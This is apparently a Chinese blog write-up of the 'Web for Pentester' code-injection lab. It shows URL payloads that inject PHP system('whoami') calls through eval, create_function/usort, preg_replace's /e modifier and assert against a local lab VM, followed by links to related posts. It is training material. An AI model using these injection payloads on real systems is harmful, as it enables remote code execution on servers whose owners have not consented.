Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇
Code injection(代码注入)
Example 1

`name=hacker’` 添加一个单引号

`name=hacker”` 添加一个双引号

返回报错信息,分析可知执行了eval()程序
继续测试

这块有点复杂,我们先看一下源代码
```php
可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
>Payload 1 结尾使用赋值的方法闭合语句
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
<center></center>
<p>实际执行的语句为
<p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";` 拼接一下变为
<p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`
<p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出
>Payload 2
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
<center></center>
>
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
<center></center>
<p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容
###**Example 2**
<center></center>
<p>使用单引号 `?order=id'`
<center></center>
<p>发现使用的是usort()函数
<p>查看源代码
```php
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
尝试闭合构造如下:
?order=id;}//
报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。
?order=id);}//
警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。
?order=id));}//
继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。
Payload
http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

###**Example 3**

查看源代码
```php
```
preg_replace()
函数:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern
: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement
: 用于替换的字符串或字符串数组。
$subject
: 要搜索替换的目标字符串或字符串数组。
$limit
: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count
: 可选,为替换执行的次数。
/e
修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
我们给pattern参数加上/e
修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令
Payload
http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback`
###**Example 4**

老套路,发现`assert()`函数
>Payload
`http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`

对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细
参考文章:`https://www.freebuf.com/sectool/168653.html`
Web for pentester_writeup之Code injection篇的更多相关文章
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之XML attacks篇
Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...
- Web for pentester_writeup之LDAP attacks篇
Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...
- Web for pentester_writeup之File Upload篇
Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- Web for pentester_writeup之Directory traversal篇
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
- Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
- Web for pentester_writeup之XSS篇
Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...
- phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...
随机推荐
- 快学Scala 第十八课 (trait多继承)
trait多继承: trait的继承并不像类拥有相同的含义!在下面这个例子中,如果还是运用类的继承的思想,那么运行结果将是什么也没有. trait Logged { def log(msg: Stri ...
- ui自动化测试
一.梳理 1.根据要求需要自动添加很多条数据 2.这就涉及到ui方面的知识.元素定位的方法(这个就能遇到很多坑,要完全掌握元素定位才能避免进坑).循环等(代码基础要掌握好) 二.操作 选择进行自动化操 ...
- Linux 命令之 mkdir
mkdir的作用是创建一个目录,可以理解为 make directory 的缩写. 创建目录 mkdir dir_name 在当前目录创建一个名为 dir_name 的目录. 同时创建多级目录 假设现 ...
- 子网掩码!如何划分子网掩码,计算IP地址
作者:chli1806 一.子网掩码的含义和根据子网掩码划分子网一个IP地址必然属于某一个网络,或者叫子网.子网掩码就是用来指定某个IP地址的网络地址的,换一句话说,就是用来划分子网的.例如,一个A类 ...
- Kubernetes快速入门
二.Kubernetes快速入门 (1)Kubernetes集群的部署方法及部署要点 (2)部署Kubernetes分布式集群 (3)kubectl使用基础 1.简介 kubectl就是API ser ...
- unittest中diascover批量执行用例
# case_dir='./'#当前脚本的路径 # discover=unittest.defaultTestLoader.discover(case_dir,pattern='unittest_fr ...
- 手把手教你搭建HEXO免费博客
一.环境搭建 node安装 百度搜索node,进入官网.下载稳定版: 下载好后直接打开安装 我这里将其安装在D盘(可以自己选择安装位置) 可以看到安装包中已经自带npm包管理工具 等待安装完成后,WI ...
- linux-pclint代码检测
win10.ubuntu16.04, vs2017. 1.安装pc-lint到C盘. 2.将linux下的usr整个目录打包拷贝到win10某盘下. 3.获取lint检测linux c++ 代码的宏参 ...
- 研究了3天,终于将 Shader 移植到 Cocos Creator 2.2.0 上了!
预览 扫光特效-Fluxay2 马赛克像素特效-Mosaic 过渡效果-Transfer Shawn 花了3天时间,研究了Cocos Creator 2.2.0 的 Effect 语法,终于在1024 ...
- java读取存在src目录下和存在同级目录下的配置文件
如果我有个文件存在src下一级的地方和存在src同级的目录应该怎么用相对路径去获取如图: 一.如果存在src同级的地方应该是InputStream in = new BufferedInputStre ...